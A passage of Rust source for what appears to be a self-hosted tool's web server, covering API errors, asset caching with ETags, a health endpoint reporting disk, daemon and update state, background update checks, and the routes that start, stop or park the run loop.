1744    message: String,
1745}
1746
1747impl ApiError {
1748    /// The client asked for something malformed.
1749    fn bad_request(message: impl Into<String>) -> Self {
1750        Self {
1751            status: StatusCode::BAD_REQUEST,
1752            message: message.into(),
1753        }
1754    }
1755
1756    /// No such run or task.
1757    fn not_found(message: impl Into<String>) -> Self {
1758        Self {
1759            status: StatusCode::NOT_FOUND,
1760            message: message.into(),
1761        }
1762    }
1763
1764    /// Someone else owns the thing the client wants to change.
1765    /// Re-badge an error whose default mapping is wrong for this route.
1766    fn with_status(mut self, status: StatusCode) -> Self {
1767        self.status = status;
1768        self
1769    }
1770
1771    /// A rules violation from a domain type, reported as the caller's fault.
1772    /// `Question::answer` rejects an unoffered choice, and that is a bad
1773    /// request, not a server error.
1774    fn bad_request_from(e: anyhow::Error) -> Self {
1775        Self::bad_request(format!("{e:#}"))
1776    }
1777
1778    fn conflict(message: impl Into<String>) -> Self {
1779        Self {
1780            status: StatusCode::CONFLICT,
1781            message: message.into(),
1782        }
1783    }
1784
1785    /// Our fault, or the disk's.
1786    fn internal(message: impl Into<String>) -> Self {
1787        Self {
1788            status: StatusCode::INTERNAL_SERVER_ERROR,
1789            message: message.into(),
1790        }
1791    }
1792}
1793
1794impl From<anyhow::Error> for ApiError {
1795    /// Errors from `queue` and `run` carry their context chain, and the whole
1796    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
1797    /// value at line 3" is a message an operator can act on, and there is no
1798    /// secret in a path on a single-user tailnet.
1799    fn from(e: anyhow::Error) -> Self {
1800        Self::internal(format!("{e:#}"))
1801    }
1802}
1803
1804impl IntoResponse for ApiError {
1805    fn into_response(self) -> Response {
1806        let body = serde_json::json!({ "error": self.message });
1807        (self.status, Json(body)).into_response()
1808    }
1809}
1810
1811/// Run a handler's filesystem work off the executor.
1812///
1813/// Every route that touches the disk goes through here rather than each one
1814/// arguing about whether its own read is small enough. Uniform because the
1815/// expensive case is not rare: `run.json` for a finished competition holds
1816/// every judgement, deliberation turn and review round, so listing a few
1817/// hundred runs is megabytes of parsing, and the executor threads doing it are
1818/// the same ones serving the change stream of every other connected phone.
1819async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1820where
1821    T: Send + 'static,
1822{
1823    match tokio::task::spawn_blocking(job).await {
1824        Ok(result) => result,
1825        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1826    }
1827}
1828
1829/// Cache policy for the three compiled-in front-end files.
1830///
1831/// The whole interface is `include_str!`ed into the binary, so its content
1832/// changes only when the binary does - and a phone that keeps a copy is
1833/// welcome to, right up until the deck is replaced. Without a single cache
1834/// header, browsers were free to invent their own policy, and one did:
1835/// yukimemi's phone went on showing "Candidates must be folded before
1836/// deleting. Run `magi fold` first." - a sentence deleted two releases
1837/// earlier - from a run detail served by a deck that no longer contained it.
1838/// The delete button he was told about was right there, and unreachable.
1839///
1840/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
1841/// every time, the answer is a 304 costing one small round trip while the
1842/// deck is unchanged, and the moment it is replaced the tag differs and the
1843/// new interface arrives. Correctness over bytes - this is one file of a few
1844/// tens of kilobytes on a tailnet, and being a version behind is not a
1845/// cosmetic problem when the difference is whether a button exists.
1846const ASSET_CACHE: &str = "no-cache, must-revalidate";
1847
1848/// `ETag` for the compiled-in assets, distinct per build.
1849///
1850/// The version alone would leave a locally built deck - `cargo install
1851/// --path .` twice at the same version, which is the normal way to iterate -
1852/// serving a stale tag for changed bytes. The build timestamp is what makes
1853/// two builds of `0.3.0` differ.
1854fn asset_etag() -> &'static str {
1855    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1856        format!(
1857            "\"{}-{}\"",
1858            env!("CARGO_PKG_VERSION"),
1859            // Length is a cheap, deterministic stand-in for a hash: the
1860            // three files are compiled in together, so any edit to any of
1861            // them almost certainly changes the total, and a rebuild is what
1862            // this needs to track rather than every possible byte pattern.
1863            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1864        )
1865    });
1866    &TAG
1867}
1868
1869/// Headers for a compiled-in asset of `mime`.
1870fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1871    [
1872        (header::CONTENT_TYPE, mime),
1873        (header::CACHE_CONTROL, ASSET_CACHE),
1874        (header::ETAG, asset_etag()),
1875    ]
1876}
1877
1878/// Serve a compiled-in asset, answering `304` when the client already has it.
1879///
1880/// axum does not compare `If-None-Match` for us, and a header the server sets
1881/// but never honours is worse than none: the phone revalidates on every load
1882/// and is handed the whole file back each time. Doing the comparison is what
1883/// makes `must-revalidate` cost one small round trip rather than the
1884/// interface.
1885fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1886    let tag = asset_etag();
1887    let known = headers
1888        .get(header::IF_NONE_MATCH)
1889        .and_then(|v| v.to_str().ok())
1890        // A revalidating client may send several, and a proxy may weaken the
1891        // tag to `W/"..."`; matching on containment covers both without
1892        // parsing the grammar.
1893        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1894    if known {
1895        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1896    }
1897    (asset_headers(mime), body).into_response()
1898}
1899
1900async fn index(headers: header::HeaderMap) -> Response {
1901    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1902}
1903
1904async fn app_css(headers: header::HeaderMap) -> Response {
1905    asset(&headers, "text/css; charset=utf-8", APP_CSS)
1906}
1907
1908async fn app_js(headers: header::HeaderMap) -> Response {
1909    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1910}
1911
1912/// What `/api/health` answers.
1913#[derive(Debug, Serialize)]
1914struct HealthView {
1915    version: &'static str,
1916    home: String,
1917    queue_rev: u64,
1918    runs_rev: u64,
1919    /// The same revisions [`events`] streams for the question and talk
1920    /// stores.
1921    ///
1922    /// Here because this route is what the front end falls back to when the
1923    /// change stream is not up - it re-polls health on a timer and on wake, and
1924    /// takes the revisions from the answer. Without these the fallback
1925    /// compares `undefined` against `undefined` for both stores, decides
1926    /// nothing moved, and a phone with a dead stream never learns that a
1927    /// question was asked or that a talk took a turn. `queue_rev` and
1928    /// `runs_rev` above have always been here for exactly this reason; the rule
1929    /// is that every revision the stream carries, this route carries too.
1930    questions_rev: u64,
1931    /// See [`HealthView::questions_rev`]. The standing chat's own store.
1932    talks_rev: u64,
1933    /// See [`HealthView::questions_rev`]. The notification centre's store.
1934    notifications_rev: u64,
1935    /// Notifications nobody has read yet: the bell's badge before
1936    /// `/api/notifications` has answered.
1937    notifications_unread: usize,
1938    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
1939    /// is not on disk anywhere, so a phone with no change stream has no other
1940    /// way to notice that the loop it is waiting on was started from another
1941    /// device.
1942    loop_rev: u64,
1943    /// Runs on disk whose state this build cannot parse - almost always a
1944    /// schema bump, occasionally a run killed mid-write.
1945    ///
1946    /// Reported because the list silently skips them, and "no competitions
1947    /// yet" is a lie when six of them are sitting in the runs directory. The
1948    /// terminal deck learned the same lesson: a run that fails to parse must
1949    /// not disappear from the count.
1950    runs_unreadable: usize,
1951    /// The disk, and what the runs and their worktrees occupy on it.
1952    ///
1953    /// This is the incident the janitor exists for: magi alone put 30 GB into
1954    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
1955    /// is exactly where the operator learns "the disk is the constraint" -
1956    /// the diagnosis that a run is being held for want of space has to be
1957    /// checkable on the same screen.
1958    disk: DiskView,
1959    /// Questions nobody has answered yet, including ones an owner talked
1960    /// back on and is now waiting for the agent's reply to. A round trip
1961    /// never changes [`crate::ask::QuestionStatus`], so this does not drop
1962    /// while the ball is in the agent's court - see
1963    /// [`crate::ask::Questions::count_open`].
1964    questions_open: usize,
1965    /// Of those, how many actually need the owner right now: open, and not
1966    /// [`crate::ask::Question::waiting_on_agent`].
1967    ///
1968    /// The one number that means "nothing will happen until a human acts" -
1969    /// a parked run consumes nothing and progresses never - and the count the
1970    /// ask bar, the nav badge and the document title fall back to before
1971    /// `/api/questions` has answered, so those notification channels clear
1972    /// the instant the owner asks back and reappear the instant the agent
1973    /// replies, instead of sitting lit for however long the agent thinks.
1974    questions_needs_owner: usize,
1975    daemon: DaemonView,
1976    /// The loop in this process, exactly what `/api/loop` answers with.
1977    ///
1978    /// Here so a phone that has just woken needs one request to know whether
1979    /// anything is going to happen at all: `daemon` says a loop is alive
1980    /// somewhere, and this says whether it is one this UI can stop.
1981    #[serde(rename = "loop")]
1982    looping: LoopView,
1983    /// Whether a release newer than this build is known, and which.
1984    ///
1985    /// From [`updater::Checker::cached_update`] - the same throttled state the
1986    /// CLI's `notify` mode banners from - never a live check: this route is
1987    /// polled every few seconds, and a live check on each poll would spend
1988    /// GitHub's rate limit before the operator finished reading the strip.
1989    update: UpdateView,
1990    /// The self-upgrade this deck last set in motion, or `null` before the
1991    /// first one. Read off disk, so the successor can report what its
1992    /// predecessor started.
1993    upgrade: Option<UpgradeProgressView>,
1994}
1995
1996/// What `/api/health` knows about a release newer than this build.
1997///
1998/// A plain `Option<String>` for `to` could not distinguish "checked, and this
1999/// is already the newest" from "never checked" - both are `None` - and the
2000/// phone needs to tell those apart to decide whether the deck can be trusted
2001/// to have an opinion at all.
2002#[derive(Debug, Serialize)]
2003struct UpdateView {
2004    /// A newer release is known to exist.
2005    available: bool,
2006    /// Its tag, when `available`.
2007    to: Option<String>,
2008}
2009
2010/// [`updater::Progress`] as `/api/health` reports it.
2011#[derive(Debug, Serialize)]
2012struct UpgradeProgressView {
2013    stage: updater::Stage,
2014    from: String,
2015    to: Option<String>,
2016    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
2017    /// the step it is finishing before the address is handed over.
2018    waiting_on: Option<String>,
2019    started_at: Timestamp,
2020    updated_at: Timestamp,
2021    detail: Option<String>,
2022    /// Seconds the stage has outlived its allowance, when it has - see
2023    /// [`updater::stall`]. `null` while the stage is moving normally.
2024    stuck_for_secs: Option<i64>,
2025    /// Which kind of stuck: `never_entered` (hand_over left no record of
2026    /// starting) or `stopped_beating`. `null` when not stuck.
2027    stuck_kind: Option<updater::StallKind>,
2028    /// `hand_over` is alive and waiting on the loop: however long that takes,
2029    /// it is not an overdue upgrade.
2030    handover_alive: bool,
2031}
2032
2033/// Whether [`run_update_recheck`] may act at all this tick.
2034///
2035/// The same two conditions [`updater::Checker::new`] and
2036/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
2037/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
2038/// GitHub from this process" - on a button press or on a timer alike.
2039fn should_spawn_recheck(cfg: &Update) -> bool {
2040    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2041}
2042
2043/// Whether this tick should actually reach the network, once checking itself
2044/// is allowed.
2045///
2046/// An upgrade already in flight must not be raced by a check that discovers
2047/// a *newer* release while one is still installing - a phone watching
2048/// `/api/health` would see the answer change out from under the upgrade it
2049/// already asked for. Past that, [`updater::Checker::should_check`] is the
2050/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
2051/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
2052/// polling period, is what keeps this task's network use to at most once per
2053/// `[update] interval` regardless of how often it wakes up.
2054fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2055    if progress.is_some_and(|p| !p.stage.terminal()) {
2056        return false;
2057    }
2058    checker.should_check()
2059}
2060
2061/// How long [`run_update_recheck`] sleeps before its next wake-up.
2062///
2063/// A fraction of the configured `[update] interval` rather than a fixed
2064/// number: a fixed sleep longer than a short custom interval would leave the
2065/// deck waiting on its own wake-up rather than on `should_check`, so an
2066/// operator who set `interval = "1m"` to make the UI catch up quickly would
2067/// not see that take effect until the next restart - exactly the bug this
2068/// task exists to fix, just moved one level down. Scaling with the interval
2069/// keeps the wake-up prompt relative to what was actually configured, while
2070/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
2071/// still what caps the network calls themselves at one per interval,
2072/// regardless of how often this fires.
2073fn recheck_poll_period(cfg: &Update) -> Duration {
2074    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2075}
2076
2077/// Keep `/api/health`'s `update` field current for as long as `magi web`
2078/// stays up.
2079///
2080/// The CLI's own `spawn_update_check` (`main.rs`) runs once per invocation,
2081/// which is enough for every other command: they exit in seconds. `magi web`
2082/// can run for days, so a single startup check leaves the cache - and the
2083/// phone's "Update & restart" button, which reads it via
2084/// [`cached_update_view`] - frozen on whatever that one look found, however
2085/// many releases ship afterwards. This is what notices the rest of them,
2086/// re-reading the config each tick so a `magi.toml` edit while the server is
2087/// up takes effect without a restart, the same way every other route here
2088/// already does - both for whether checking is on at all and for how long
2089/// the next sleep should be.
2090///
2091/// Not [`updater::spawn`]'s `auto_update` path, even under `mode =
2092/// "install"`: swapping the running binary out from under a task or a run
2093/// mid-node is exactly what `hand_over`'s parking exists to do deliberately,
2094/// not as a side effect of a timer nobody asked to fire. This only ever
2095/// calls [`updater::Checker::newer_release`], which refreshes
2096/// `last_update_check.json` and nothing else - so under `mode = "install"`
2097/// this behaves like `notify` for as long as the deck stays up, and an
2098/// actual self-install still happens exactly where it always has: once, at
2099/// the next process start.
2100async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
2101    loop {
2102        let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
2103        tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2104        if !should_spawn_recheck(&cfg.update) {
2105            continue;
2106        }
2107        let Some(checker) = updater::Checker::new(&cfg.update) else {
2108            continue;
2109        };
2110        let progress = updater::read_progress(&home);
2111        if !update_recheck_due(&checker, progress.as_ref()) {
2112            continue;
2113        }
2114        if let Err(e) = checker.newer_release().await {
2115            tracing::warn!("background update recheck failed: {e:#}");
2116        }
2117    }
2118}
2119
2120/// [`UpdateView`] from the same throttled, disk-only state
2121/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
2122/// never a live check. `[update] mode = "off"` answers "unknown" the same as
2123/// no cached state at all, which is correct: an operator who turned checking
2124/// off gets no opinion, not a stale one.
2125fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2126    let default;
2127    let cfg = match cfg {
2128        Some(cfg) => cfg,
2129        None => {
2130            default = Config::default();
2131            &default
2132        }
2133    };
2134    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2135    match latest {
2136        Some(latest) => UpdateView {
2137            available: true,
2138            to: Some(latest.tag_name),
2139        },
2140        None => UpdateView {
2141            available: false,
2142            to: None,
2143        },
2144    }
2145}
2146
2147/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
2148/// from the parked run's own state when the stage is
2149/// [`updater::Stage::Parking`] - the run and the node it is finishing are
2150/// already on disk in `run.json`, so this reads them fresh rather than
2151/// trusting whatever was true the moment the park was requested.
2152fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2153    let now = Timestamp::now();
2154    let lease = updater::read_lease(&ui.home);
2155    let alive = updater::live_lease(&progress, lease.as_ref(), now);
2156    let run_id = alive
2157        .and_then(|l| l.parked_run.as_deref())
2158        .or(progress.parked_run.as_deref());
2159    let parking = progress.stage == updater::Stage::Parking;
2160    let waited = alive.map_or_else(String::new, |l| {
2161        let secs = updater::waited_secs(l, now);
2162        format!(" (waited {} min so far)", secs / 60)
2163    });
2164    let run_text = run_id
2165        .filter(|_| parking)
2166        .map(|id| match read_run(&ui.runs, id).ok() {
2167            Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2168            None => format!("run {id} is finishing"),
2169        });
2170    let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2171        .filter(|t| parking && !t.is_empty())
2172        .map(|t| format!("{t} finishing"));
2173    let waiting_on = match (run_text, talks_text) {
2174        (None, None) => None,
2175        (run, talks) => {
2176            let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2177            Some(format!(
2178                "{} before the address is handed over{waited}",
2179                parts.join(" and ")
2180            ))
2181        }
2182    };
2183    let detail = progress
2184        .detail
2185        .clone()
2186        .or_else(|| updater::read_note(&ui.home, &progress));
2187    let stalled = updater::stall(&progress, lease.as_ref(), now);
2188    let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2189    UpgradeProgressView {
2190        stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2191        stuck_kind: stalled.map(|s| s.kind),
2192        handover_alive: alive.is_some(),
2193        stage: progress.stage,
2194        from: progress.from,
2195        to: progress.to,
2196        waiting_on,
2197        started_at: progress.started_at,
2198        updated_at: progress.updated_at,
2199        detail,
2200    }
2201}
2202
2203/// The disk figures `/api/health` carries. Every number is produced by
2204/// [`crate::disk`], the same code that decides a run may not start, so the
2205/// health screen and the gate cannot disagree about what the machine looks
2206/// like.
2207#[derive(Debug, Serialize)]
2208struct DiskView {
2209    /// Free bytes on the volume holding the runs, when measurable.
2210    #[serde(skip_serializing_if = "Option::is_none")]
2211    free_bytes: Option<u64>,
2212    /// Everything the runs directory occupies, unreadable runs included.
2213    runs_bytes: u64,
2214    /// Everything the runs' worktrees occupy.
2215    worktrees_bytes: u64,
2216    /// The shared build cache's size, when the config names one.
2217    #[serde(skip_serializing_if = "Option::is_none")]
2218    cache_bytes: Option<u64>,
2219}
2220
2221impl DiskView {
2222    /// Measure the three directories and re-read the config's cache.
2223    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2224        let cache_bytes = cfg
2225            .and_then(|cfg| cfg.cache_dir())
2226            .map(|dir| crate::disk::dir_size(&dir));
2227        Self {
2228            free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
2229            runs_bytes: crate::disk::dir_size(&ui.runs),
2230            worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
2231            cache_bytes,
2232        }
2233    }
2234}
2235
2236/// The daemon's state as the UI presents it.
2237#[derive(Debug, Serialize)]
2238struct DaemonView {
2239    running: bool,
2240    idle: Option<bool>,
2241    pid: Option<u32>,
2242    /// Every task and run currently in flight. Empty when idle; more than
2243    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
2244    /// run going at once.
2245    current: Vec<daemon::Current>,
2246    completed: Option<u64>,
2247    stale_for_secs: Option<i64>,
2248}
2249
2250impl DaemonView {
2251    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
2252    /// not this UI's — a crashed daemon must not look alive here while
2253    /// `doctor` calls it dead.
2254    fn of(status: Option<daemon::Reading>) -> Self {
2255        let Some(status) = status else {
2256            return Self {
2257                running: false,
2258                idle: None,
2259                pid: None,
2260                current: Vec::new(),
2261                completed: None,
2262                stale_for_secs: None,
2263            };
2264        };
2265        let now = Timestamp::now();
2266        let age = status.age_secs(now);
2267        Self {
2268            running: status.running(now),
2269            idle: Some(status.idle),
2270            pid: status.pid,
2271            current: status.current,
2272            completed: Some(status.completed),
2273            stale_for_secs: age,
2274        }
2275    }
2276}
2277
2278async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2279    blocking(move || {
2280        // One read of the status file for the two fields that describe it, so
2281        // `daemon` and `loop` in the same answer cannot disagree about who is
2282        // running the loop.
2283        let reading = daemon::read_status(&ui.home);
2284        // Read on its own line, not inside the literal below: the loop's lock
2285        // is not reentrant, and a guard taken as a temporary there would still
2286        // be held when `loop_view` took it again.
2287        let loop_rev = ui.lock_loop().rev;
2288        // One discover for both views: each is a few git processes plus a
2289        // config render, and neither depends on anything the other reads.
2290        let cfg = deputy_config(&ui.repo);
2291        let update = cached_update_view(cfg.as_ref());
2292        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2293        Ok(Json(HealthView {
2294            version: env!("CARGO_PKG_VERSION"),
2295            home: ui.home.display().to_string(),
2296            queue_rev: stamps_revision(&store_stamps(ui.queue.root(), false)),
2297            runs_rev: runs_revision(&ui.runs),
2298            questions_rev: ui.questions.revision(),
2299            talks_rev: stamps_revision(&store_stamps(ui.talks.root(), false)),
2300            notifications_rev: ui.notices.revision(),
2301            notifications_unread: ui.notices.count_unread(),
2302            loop_rev,
2303            runs_unreadable: runs_unreadable(&ui.runs),
2304            questions_open: ui.questions.count_open(),
2305            questions_needs_owner: ui.questions.count_needs_owner(),
2306            daemon: DaemonView::of(reading.clone()),
2307            looping: ui.loop_view(reading),
2308            disk: DiskView::of(&ui, cfg.as_ref()),
2309            update,
2310            upgrade,
2311        }))
2312    })
2313    .await
2314}
2315
2316/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
2317#[derive(Debug, Serialize)]
2318struct LoopView {
2319    /// A loop is running in *this* process.
2320    running: bool,
2321    /// It has been asked to stop and is still finishing a run.
2322    ///
2323    /// [`daemon::Stop::finishing`]'s answer rather than "the flag is set",
2324    /// because the two differ exactly where it matters: a loop asked to stop
2325    /// while idle is gone within one poll interval, and one asked to stop
2326    /// mid-run keeps going for as long as the graph takes. The operator needs
2327    /// to be told which of those they are waiting for.
2328    stopping: bool,
2329    /// A park was asked for: the run in flight stops at its next node
2330    /// boundary rather than finishing.
2331    ///
2332    /// Separate from `stopping` because the two promise different waits. A
2333    /// stop is "when this competition ends", which can be an hour; a park is
2334    /// "after the step it is on", which is minutes and is what an operator
2335    /// waiting to replace the binary needs to see.
2336    parking: bool,
2337    /// The loop is this process's own.
2338    ///
2339    /// Spelled separately from `running` for the front end's sake, even
2340    /// though inside this process the two move together: `running: false`
2341    /// with `daemon.running: true` is the case where the operator's own `magi
2342    /// serve` owns the loop, and `owned` is the field that tells the UI its
2343    /// buttons have to explain that rather than pretend.
2344    owned: bool,
2345    /// Repository the loop uses for tasks that name none - what it was
2346    /// started with while it runs, and what a start would use before that.
2347    repo: String,
2348    /// Merge mode override in force, or `null` when each repository's own
2349    /// config decides.
2350    merge: Option<String>,
2351    /// Why the last loop in this process ended, when it ended badly.
2352    ///
2353    /// The only place a crashed loop is visible to someone holding a phone.
2354    /// It is logged at error level as well, but a terminal nobody kept open
2355    /// is not a report, and a loop that died at 3am must not read as merely
2356    /// stopped in the morning. Named as [`Task::last_error`] is, because it
2357    /// answers the same question about the same kind of failure.
2358    last_error: Option<String>,
2359    /// The status file, judged the same way `/api/health` judges it: this is
2360    /// what says whether a loop is alive in some *other* process.
2361    daemon: DaemonView,
2362}
2363
2364/// A loop another process already owns.
2365///
2366/// `<home>/daemon.json` is the only cross-process signal there is, so this is
2367/// the whole of the test: a heartbeat no older than [`daemon::STALE_SECS`],
2368/// published by a pid that is not ours. Excluding our own pid is what makes
2369/// stopping work at all - the loop this process runs writes that file too, so
2370/// a check that ignored the pid would decide the operator's own UI was a
2371/// stranger and refuse to stop the loop it had just started.
2372#[derive(Debug, Clone, Copy)]
2373struct Foreign {
2374    /// The pid the other process published, when it published one.
2375    pid: Option<u32>,
2376}
2377
2378impl Foreign {
2379    /// Another process's live loop, or `None` when this process is free to
2380    /// run one.
2381    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2382        // A fresh heartbeat with no pid in it is still evidence of a live
2383        // daemon. "Some other process" is the honest answer, and refusing
2384        // to start beside it is the safe one.
2385        daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2386    }
2387
2388    /// How a conflict names it. The pid is the whole point of the message: it
2389    /// is what the operator needs to find the terminal that owns the loop.
2390    fn who(&self) -> String {
2391        match self.pid {
2392            Some(pid) => format!("another magi process (pid {pid})"),
2393            None => "another magi process".to_owned(),
2394        }
2395    }
2396}
2397
2398/// How a loop is started, as a future this module can hold onto.
2399///
2400/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
2401/// trait object or a hand-written `Debug` impl for the sake of one seam.
2402type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2403
2404/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
2405fn launch_daemon(
2406    opts: daemon::Opts,
2407    stop: daemon::Stop,
2408) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2409    Box::pin(daemon::serve_until(opts, stop))
2410}
2411
2412/// The loop this process runs, behind one lock.
2413#[derive(Debug, Default)]
2414struct LoopState {
2415    /// The loop, while there is one.
2416    live: Option<Live>,
2417    /// Bumped on every change to this struct, and streamed as `loop_rev`.
2418    ///
2419    /// The loop is in-process state rather than a file, so nothing on disk
2420    /// would tell a second phone that the first one started it. Without this
2421    /// counter the only way to learn about a start, a stop request or a crash
2422    /// would be to poll `/api/loop`, which is the thing the change stream
2423    /// exists to avoid on a mobile link.
2424    rev: u64,
2425    /// Why the last loop ended, when it ended badly. See
2426    /// [`LoopView::last_error`].
2427    last_error: Option<String>,
2428    /// The loop was running (and not already stopping) when the last upgrade
2429    /// parked it, so the successor should start one. Set afresh by every
2430    /// [`Ui::park_for_upgrade`], cleared by an explicit stop and by a failed
2431    /// update.
2432    resume_after_handover: bool,
2433}
2434
2435/// A loop in flight.
2436#[derive(Debug)]
2437struct Live {
2438    /// The cooperative stop, shared with the loop task.
2439    stop: daemon::Stop,
2440    /// The task itself, kept only to answer whether it is still there: a loop
2441    /// that panicked never records its own end, and without this the view
2442    /// would go on reporting a loop that no longer exists - the one lie that
2443    /// would leave the operator with no button to press.
2444    handle: tokio::task::JoinHandle<()>,
2445    /// What the loop was started with, so the view reports the repository and
2446    /// merge mode its runs will actually use rather than what an edit to the
2447    /// config since would give.
2448    opts: daemon::Opts,
2449}
2450
2451impl Live {
2452    /// Is the task still there? See [`Live::handle`].
2453    fn alive(&self) -> bool {
2454        !self.handle.is_finished()
2455    }
2456}
2457
2458/// Take the loop lock, recovering from a poisoned one.
2459///
2460/// What this mutex holds is a stop flag, a task handle and two counters, none
2461/// of which a panic elsewhere can leave in a state worth refusing to read.
2462/// Propagating the poison instead would mean an operator who can see the loop
2463/// running and can no longer stop it from the only surface they have.
2464fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2465    state.lock().unwrap_or_else(PoisonError::into_inner)
2466}
2467
2468/// `GET /api/loop`.
2469async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2470    blocking(move || {
2471        let reading = daemon::read_status(&ui.home);
2472        Ok(Json(ui.loop_view(reading)))
2473    })
2474    .await
2475}
2476
2477/// The body of `POST /api/loop`.
2478///
2479/// One required field and nothing else: no `default` and no unknown fields,
2480/// so a body that fails to say which way the switch was flipped is a 400
2481/// rather than a tap that quietly does the opposite of what was pressed.
2482#[derive(Debug, Deserialize)]
2483#[serde(deny_unknown_fields)]
2484struct LoopCommand {
2485    running: bool,
2486    /// Stop the run in flight at its next node boundary rather than letting it
2487    /// finish.
2488    ///
2489    /// Defaults to false, so the plain stop keeps meaning what it meant: a
2490    /// competition is tens of minutes of paid work and finishing it is
2491    /// normally the cheapest thing to do. A park is for the operator who
2492    /// wants the process gone now - to replace the binary, most of all - and
2493    /// it costs at most the node in progress because every node writes its
2494    /// state before the next one starts.
2495    #[serde(default)]
2496    park: bool,
2497}
2498
2499/// `POST /api/loop` - start the loop in this process, or ask it to stop.
2500///
2501/// Answers with the view rather than waiting for the loop to reach the state
2502/// that was asked for. Starting is immediate anyway; stopping is not, and the
2503/// wait is a run's worth of minutes, which is not a thing to hold a phone's
2504/// request open for. `stopping` in the answer is what the operator watches
2505/// instead.
2506async fn loop_post(
2507    State(ui): State<Arc<Ui>>,
2508    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2509) -> ApiResult<Json<LoopView>> {
2510    // Taken as a `Result` so a malformed body is a 400 like every other route
2511    // here, rather than axum's default 422 that the UI has no branch for.
2512    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2513    blocking(move || {
2514        let reading = daemon::read_status(&ui.home);
2515        let foreign = Foreign::of(reading.as_ref());
2516        if body.running {
2517            ui.start_loop(foreign)?;
2518        } else {
2519            ui.stop_loop(foreign, body.park)?;
2520        }
2521        Ok(Json(ui.loop_view(reading)))
2522    })
2523    .await
2524}
2525
2526/// What `POST /api/upgrade` set in motion.
2527#[derive(Debug, Serialize)]
2528struct UpgradeView {
2529    /// The version this process is running.
2530    from: String,
2531    /// The release it is replacing itself with, when there is one.
2532    to: Option<String>,
2533    /// A run was parked first, and this is its id.
2534    parked: Option<String>,
2535    /// What the operator should expect to happen next.
2536    detail: String,
2537}
2538
2539/// The stage of an upgrade that is still moving, if the record says so.
2540/// Mirrors `UPGRADE_BUSY_STAGES` in `assets/ui/app.js`.
2541fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
2542    progress.filter(|p| !p.stage.terminal())
2543}
2544
2545/// `POST /api/upgrade` - replace this binary with the newest release and come
2546/// back on it.
2547///
2548/// The one thing the deck could not do for itself. Every fix landed today
2549/// either waited for a competition to end or went in with the deck stopped,
2550/// because `cargo install` cannot overwrite a running executable on Windows.
2551/// `kaishin` can: `self_replace` **renames** the running image aside and puts
2552/// the new one in its place, so the swap itself needs no downtime. Only the
2553/// restart does, and the order is the whole design:
2554///
2555/// 1. **Park.** A run in flight stops at its next node boundary and stays
2556///    resumable, so this costs at most the node in progress rather than the
2557///    competition. Without it the honest choices were waiting an hour or
2558///    discarding paid agent work.
2559/// 2. **Replace.** The new binary goes into place while this one still runs.
2560/// 3. **Hand over.** [`serve`] drops the listener, *then* spawns the
2561///    successor - see [`spawn_successor`] for what happens in the other
2562///    order.
2563/// 4. **Resume.** The next loop carries the parked run on rather than
2564///    competing again; see `daemon::attempt`.
2565///
2566/// Answers **202**: the reply has to reach the phone while this process can
2567/// still send one, and the phone learns the deck is back by reconnecting.
